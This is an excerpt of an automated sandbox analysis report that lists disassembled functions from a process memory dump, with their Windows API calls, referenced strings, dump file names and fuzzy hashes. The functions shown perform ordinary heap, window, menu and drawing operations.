Opcode Fuzzy Hash: aaa25c904cd39a9b0074c584e36a1034faeeddca15cc1fcea4f7bf7274c59377
Instruction Fuzzy Hash: 330206719002699FCB25DFA8CC84AEDBBB5FF48310F0441AAE94AB7250DB706E85CF51

Function 009CC62F Relevance: 18.1, APIs: 12, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 009CC668

Part of subcall function 009C26C8: RtlFreeHeap.NTDLL(00000000,00000000,?,009C2F36,00000000,00000000,00A43F78,00000000,00000007,000000FF,?,00866776,0087945F,00000000,?), ref: 009C26DE
Part of subcall function 009C26C8: GetLastError.KERNEL32(00000000,?,009C2F36,00000000,00000000,00A43F78,00000000,00000007,000000FF,?,00866776,0087945F,00000000,?,?,00878A17), ref: 009C26F0

_free.LIBCMT ref: 009CC68A
_free.LIBCMT ref: 009CC69F
_free.LIBCMT ref: 009CC6AA
_free.LIBCMT ref: 009CC6CC
_free.LIBCMT ref: 009CC6DF
_free.LIBCMT ref: 009CC6ED
_free.LIBCMT ref: 009CC6F8
_free.LIBCMT ref: 009CC730
_free.LIBCMT ref: 009CC737
_free.LIBCMT ref: 009CC754
_free.LIBCMT ref: 009CC76C

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: e3be23452f0b499e8966c6196c3d75c0d8d7ce5e77ec52202158b4c7bac9218c
Instruction ID: e429abcc064ff035fc9df54ac381e8494fc704c405d073feb3ad2cba9b706544
Opcode Fuzzy Hash: e3be23452f0b499e8966c6196c3d75c0d8d7ce5e77ec52202158b4c7bac9218c
Instruction Fuzzy Hash: 99313BB1E00605AFEB31AB38DA45F5A7BEDEF50310F54542EE45DD62A1DB31A8808B26

Function 0088A2BC Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 404windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0088A2C6
SendMessageA.USER32(?,0000000B,00000000,00000000), ref: 0088A4BF
SendMessageA.USER32(?,0000000B,00000001,00000000), ref: 0088A68C
InvalidateRect.USER32(?,00000000,00000001), ref: 0088A6B2
UpdateWindow.USER32(?), ref: 0088A6D4
SendMessageA.USER32(?,0000000B,00000001,00000000), ref: 0088A791
InvalidateRect.USER32(?,00000000,00000001), ref: 0088A7B7
UpdateWindow.USER32(?), ref: 0088A7D9

Strings

:/\, xrefs: 0088A509

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: MessageSend$InvalidateRectUpdateWindow$H_prolog3_
String ID: :/\
API String ID: 2009545923-2793184486
Opcode ID: a4fc6332635a99e85f6d61e22885dda3b4b70b99d1a4b0e975c5d6fd68bc89dd
Instruction ID: bbfaa91ec2f34e4e00b6289257e7c8330c4ba19ea22b355227dca7327de086e2
Opcode Fuzzy Hash: a4fc6332635a99e85f6d61e22885dda3b4b70b99d1a4b0e975c5d6fd68bc89dd
Instruction Fuzzy Hash: 8FF13930610254DFCB15EB24CD99BAD77B5FF88310F0541E9E44AAB2A2DB70AE85CF51

Function 008D256A Relevance: 17.0, APIs: 11, Instructions: 462windowCOMMON

Download Yara Rule

APIs

SetRectEmpty.USER32(?), ref: 008D261D
GetCursorPos.USER32(?), ref: 008D265A
GetParent.USER32(?), ref: 008D26DF
ReleaseCapture.USER32 ref: 008D28C3
GetParent.USER32(?), ref: 008D28D3
SendMessageA.USER32(?,00000363,00000000,00000000), ref: 008D28E9
GetWindowRect.USER32(?,?), ref: 008D2934
GetParent.USER32(?), ref: 008D2A6E
InvalidateRect.USER32(?,00000000,00000001,00000000), ref: 008D2A80
GetParent.USER32(?), ref: 008D2A89
UpdateWindow.USER32(?), ref: 008D2A98

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Parent$Rect$Window$CaptureCursorEmptyInvalidateMessageReleaseSendUpdate
String ID:
API String ID: 2800639987-0
Opcode ID: a1c539f05b59d3a64ea5a5c4f0f82bd383bc846e7d9f970359ab9e0155d54f32
Instruction ID: d08c4d04545ba885a86c1e3b2fabd24cfc95e6d51d14ba2c9ce8d87a1273a192
Opcode Fuzzy Hash: a1c539f05b59d3a64ea5a5c4f0f82bd383bc846e7d9f970359ab9e0155d54f32
Instruction Fuzzy Hash: 68021A35A10264EFCF14DF64D8989ADBBB9FF98720B04406AE846EB361CB70AD41DF51

Function 0087878B Relevance: 16.6, APIs: 11, Instructions: 149windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00878795
GetMenuItemCount.USER32(?), ref: 008787C1
GetSubMenu.USER32(?,00000000), ref: 008787F7
GetMenuState.USER32(?,?,00000400), ref: 00878814
GetSubMenu.USER32(?,00000000), ref: 00878871
GetMenuStringA.USER32(?,?,?,00000100,00000400), ref: 0087889A
_strlen.LIBCMT ref: 008788F5
AppendMenuA.USER32(?,00000010,?,?), ref: 00878922
GetMenuItemCount.USER32(00000000), ref: 00878992
InsertMenuA.USER32(?,00000000,?,00000000), ref: 008789BF
GetMenuItemID.USER32(?,?), ref: 008789F0

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Menu$Item$Count$AppendH_prolog3_InsertStateString_strlen
String ID:
API String ID: 3311688631-0
Opcode ID: 376f092d99e525a8f93c83e31db14b5c46884c0058182526e8d309456b93cad5
Instruction ID: 027b5b83e400427e40c910cd5db023e23521889fdfc096f945b469663c1820a1
Opcode Fuzzy Hash: 376f092d99e525a8f93c83e31db14b5c46884c0058182526e8d309456b93cad5
Instruction Fuzzy Hash: 3261D471900228AFCF69DF24CC8ABE9B7B5FB08310F0080E9E649E6255DB319E91DF51

Function 008862E8 Relevance: 15.1, APIs: 10, Instructions: 96threadCOMMON

Download Yara Rule

APIs

GetCapture.USER32 ref: 00886303
WindowFromPoint.USER32(00000000,?), ref: 00886311
GetActiveWindow.USER32 ref: 00886332
GetCurrentThreadId.KERNEL32 ref: 0088634C
GetWindowThreadProcessId.USER32(?,00000000), ref: 0088635C
GetDesktopWindow.USER32 ref: 00886371

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Window$Thread$ActiveCaptureCurrentDesktopFromPointProcess
String ID:
API String ID: 1298419125-0
Opcode ID: 34b288da899ef1618943276d81ea45ffc5d00c813692dab7380b1047f4abe44c
Instruction ID: e9c6e6c9e13d2dff983d105222af56f1ab83115511e7ffb0146f6cc1b186f14f
Opcode Fuzzy Hash: 34b288da899ef1618943276d81ea45ffc5d00c813692dab7380b1047f4abe44c
Instruction Fuzzy Hash: 52313B71A04215EBDB11BBB4D988A6EBBB0FB04305F104065E806E7761EB71AE60DFA1

Function 0099E331 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 128COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0099E338

Part of subcall function 0093290E: __EH_prolog3.LIBCMT ref: 00932915

Part of subcall function 0096C170: SetRectEmpty.USER32(?), ref: 0096C1AB

SetRectEmpty.USER32(?), ref: 0099E47C
SetRectEmpty.USER32 ref: 0099E48D
SetRectEmpty.USER32(96528479), ref: 0099E494
_strlen.LIBCMT ref: 0099E4E8
_strlen.LIBCMT ref: 0099E501

Strings

True, xrefs: 0099E4A6, 0099E4B1, 0099E4EF
False, xrefs: 0099E4FB, 0099E500, 0099E508

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: EmptyRect$H_prolog3_strlen
String ID: False$True
API String ID: 4048534651-1895882422
Opcode ID: a58a6cf9b82df79745cd4333760100ea2bea07417a9b27a41ffd5ad3420e127d
Instruction ID: 733b8c716098c9cb2b312836c38d0627ee597fd0571ca1a7bd1bb20b1169a70f
Opcode Fuzzy Hash: a58a6cf9b82df79745cd4333760100ea2bea07417a9b27a41ffd5ad3420e127d
Instruction Fuzzy Hash: 3B61D2B08053459FCB0ADF29D5857A9BBE8BF58300F1981BEE85D9F396CB701604CB65

Function 008CAB72 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 81COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 008CAB79

Part of subcall function 008BB8FE: __EH_prolog3.LIBCMT ref: 008BB905

_strlen.LIBCMT ref: 008CABF6
_strlen.LIBCMT ref: 008CAC09
_strlen.LIBCMT ref: 008CAC2F

Strings

Open, xrefs: 008CAC04, 008CAC10
Switch, xrefs: 008CAC2A, 008CAC36
Close, xrefs: 008CABF1, 008CABFD
Alt, , xrefs: 008CAC64

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: _strlen$H_prolog3
String ID: Alt, $Close$Open$Switch
API String ID: 2883720156-1380699356
Opcode ID: ddc98a384b7cb386cc9579edfde314809f20e84899feb01b66e31c4a72acd13f
Instruction ID: 2c3f0c1a6648b408cf5243ed5908f31c5b890ac1b2c9e88e339b2e1c881f2d6c
Opcode Fuzzy Hash: ddc98a384b7cb386cc9579edfde314809f20e84899feb01b66e31c4a72acd13f
Instruction Fuzzy Hash: CE219370200648EBCB15AF61C946FA637B4FB44318F458168E805DB292DB74ED45CB92

Function 008FE6A0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetStockObject.GDI32(00000011), ref: 008FE6C2
GetStockObject.GDI32(0000000D), ref: 008FE6CE
GetObjectA.GDI32(00000000,0000003C,?), ref: 008FE6DF
GetDC.USER32(00000000), ref: 008FE6EE
GetDeviceCaps.GDI32(00000000,0000005A), ref: 008FE705
MulDiv.KERNEL32(?,00000048,00000000), ref: 008FE711
ReleaseDC.USER32(00000000,00000000), ref: 008FE71D

Strings

System, xrefs: 008FE6B8, 008FE732

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Object$Stock$CapsDeviceRelease
String ID: System
API String ID: 46613423-3470857405
Opcode ID: 50f1ebd14235bad0426cb5c602d4dfd4b6aa7b940fc2586f96158cfd56e3d75b
Instruction ID: 38e874b7ef9e989467865b8673869a6f29e700a76ea13c12338ed8e99049a84d
Opcode Fuzzy Hash: 50f1ebd14235bad0426cb5c602d4dfd4b6aa7b940fc2586f96158cfd56e3d75b
Instruction Fuzzy Hash: 61115E71714258BBEB24AFA5DC8AFBE7BB8FB54741F004019FA05EB290DB609D01DB60

Function 00880873 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 65windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 008808BA
SetActiveWindow.USER32(?), ref: 008808C5
SendMessageA.USER32(?,00000112,?,?), ref: 008808DF
IsWindow.USER32(?), ref: 008808E6
SetActiveWindow.USER32(?), ref: 008808F1
IsWindow.USER32(00000000), ref: 008808F8
SetFocus.USER32(00000000), ref: 00880903

Strings

u, xrefs: 0088090C

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Window$ActiveFocus$MessageSend
String ID: u
API String ID: 1556911595-4067256894
Opcode ID: 18120cdafd404d875d28a8504c5f5426968d9c6c175e545f3cca99e64af9b42e
Instruction ID: 3a734170a59498458b8c3ad638b5d953fd659c145fc00519d641b491de2b6cd5
Opcode Fuzzy Hash: 18120cdafd404d875d28a8504c5f5426968d9c6c175e545f3cca99e64af9b42e
Instruction Fuzzy Hash: AE11EF72214208ABFB613B78DC8C67E7EA9FB08711B04C024F901CA166D638CE48AF50

Function 0095CC83 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 39COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0095CC8A

Part of subcall function 0091D58C: EnterCriticalSection.KERNEL32(00A43210,?,?,?,?,0093258E,00000003,?,?,?,00000004,00933D30,?,?,?,00861263), ref: 0091D5BD
Part of subcall function 0091D58C: InitializeCriticalSection.KERNEL32(00000000,?,?,?,?,0093258E,00000003,?,?,?,00000004,00933D30,?,?,?,00861263), ref: 0091D5D3
Part of subcall function 0091D58C: LeaveCriticalSection.KERNEL32(00A43210,?,?,?,?,0093258E,00000003,?,?,?,00000004,00933D30,?,?,?,00861263), ref: 0091D5E1
Part of subcall function 0091D58C: EnterCriticalSection.KERNEL32(00000000,?,?,?,0093258E,00000003,?,?,?,00000004,00933D30,?,?,?,00861263), ref: 0091D5EE

GetProfileIntA.KERNEL32(windows,DragScrollInset,0000000B), ref: 0095CCD5
GetProfileIntA.KERNEL32(windows,DragScrollDelay,00000032), ref: 0095CCE8
GetProfileIntA.KERNEL32(windows,DragScrollInterval,00000032), ref: 0095CCFB

Strings

DragScrollDelay, xrefs: 0095CCDD
DragScrollInset, xrefs: 0095CCCA
windows, xrefs: 0095CCCF, 0095CCD4, 0095CCE2, 0095CCF5
DragScrollInterval, xrefs: 0095CCF0

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: CriticalSection$Profile$Enter$H_prolog3InitializeLeave
String ID: DragScrollDelay$DragScrollInset$DragScrollInterval$windows
API String ID: 4229786687-1024936294
Opcode ID: 3c6cbc06f49b34f0104980ec4381db5554575914905eb948a9d6e1768002f17b
Instruction ID: 158769f90e2241a9aac98ea90b08b4886d1e55553a014d3a6c7a9a915a3b4314
Opcode Fuzzy Hash: 3c6cbc06f49b34f0104980ec4381db5554575914905eb948a9d6e1768002f17b
Instruction Fuzzy Hash: 5401DFB4A51304AFDB21EFA4DC4A759BAE4BB95B04F104429F308DB2A2D7B48600CB06

Function 008B23F0 Relevance: 13.8, APIs: 9, Instructions: 255windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 008B23F7
UnionRect.USER32(?,?,?), ref: 008B245D
EqualRect.USER32(?,?), ref: 008B246B
CreateCompatibleDC.GDI32(00000000), ref: 008B24A2
CreateCompatibleBitmap.GDI32(?,?,?), ref: 008B24D0
SelectObject.GDI32(?,00000000), ref: 008B2536
BitBlt.GDI32(?,00000000,00000000,?,?,00000001,?,?,00CC0020), ref: 008B255E
BitBlt.GDI32(?,?,?,?,?,?,00000000,00000000,00CC0020), ref: 008B26A8
DeleteObject.GDI32(?), ref: 008B26C2

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: CompatibleCreateObjectRect$BitmapDeleteEqualH_prolog3_SelectUnion
String ID:
API String ID: 1408062871-0
Opcode ID: 570a7d0b26b3c510e1b9124cc5bc5374c41ef44170d2b6caa9131037c4b1a88a
Instruction ID: 2588ee74f470e4d7cf1829af3e72658854d714d1189e7e6b93dc75df88a3cbe1
Opcode Fuzzy Hash: 570a7d0b26b3c510e1b9124cc5bc5374c41ef44170d2b6caa9131037c4b1a88a
Instruction Fuzzy Hash: C0B1C071E002199FCF15DFA8C984ADDBBB9FF49300F15812AE919EB355DB30A945CB90

Function 008D45B8 Relevance: 13.7, APIs: 9, Instructions: 234COMMON

Download Yara Rule

APIs

PtInRect.USER32(?,?,?), ref: 008D45EB
RedrawWindow.USER32(?,?,00000000,00000105), ref: 008D460C
ClientToScreen.USER32(?,?), ref: 008D4640
WindowFromPoint.USER32(?,?), ref: 008D464C
ReleaseCapture.USER32 ref: 008D4664
SetCapture.USER32(?), ref: 008D46EF
ReleaseCapture.USER32 ref: 008D471D
ClientToScreen.USER32(?,?), ref: 008D4852
SetCursorPos.USER32(?,?), ref: 008D485E

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Capture$ClientReleaseScreenWindow$CursorFromPointRectRedraw
String ID:
API String ID: 2024412728-0
Opcode ID: 70124f25be115db92dcec47740d9a2e0365564e3a7e4d44f74755326088cab12
Instruction ID: 665e45a4e1512eb265a6170c483edf8845fc8106a5f15c0afcf726a7bce83e2b
Opcode Fuzzy Hash: 70124f25be115db92dcec47740d9a2e0365564e3a7e4d44f74755326088cab12
Instruction Fuzzy Hash: FF917271B00656EFCB089F64D889ABDBBA5FF48310F14422AE826D7390DB70AD51DF91

Function 008BA44F Relevance: 13.7, APIs: 9, Instructions: 178windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 008BA456
SendMessageA.USER32(00000000,0000018B,00000000,00000000), ref: 008BA4A9
SendMessageA.USER32(00000000,00000199,00000000,00000000), ref: 008BA4BE
SendMessageA.USER32(00000000,0000018B,00000000,00000000), ref: 008BA50E
SendMessageA.USER32(00000000,00000180,00000000,?), ref: 008BA58D
SendMessageA.USER32(00000000,0000019A,00000000,?), ref: 008BA5A1
__EH_prolog3.LIBCMT ref: 008BA5C3
SendMessageA.USER32(?,00000180,00000000,00000000), ref: 008BA62F
SendMessageA.USER32(?,0000019A,00000000), ref: 008BA64C

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: MessageSend$H_prolog3
String ID:
API String ID: 1885053084-0
Opcode ID: 3b16f04e536ae5cf3746fe9845a24d61a7347b3395b757ea5a452dca3625610d
Instruction ID: ea08a93159b267a5daa574569ccfebc874ef11cc690c7d7571594cbcedd383a8
Opcode Fuzzy Hash: 3b16f04e536ae5cf3746fe9845a24d61a7347b3395b757ea5a452dca3625610d
Instruction Fuzzy Hash: 7851E131600616ABDB299F69CC49BEE7B64FF05710F144168F519EB2E2DF709E04CB92

Function 00898BBC Relevance: 13.6, APIs: 9, Instructions: 103COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00898BC3
GetObjectA.GDI32(?,00000018,?), ref: 00898BDD
CreateCompatibleDC.GDI32(00000000), ref: 00898BF5
SelectObject.GDI32(?,?), ref: 00898C08
CreateRectRgn.GDI32(00000000,00000000,?,?), ref: 00898C31
GetPixel.GDI32(?,00000000,00000000), ref: 00898C54
CreateRectRgn.GDI32(00000000,00000000,00000001,00000001), ref: 00898C78
CombineRgn.GDI32(?,?,?,00000004), ref: 00898C92
SelectObject.GDI32(?,00000000), ref: 00898CC3

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
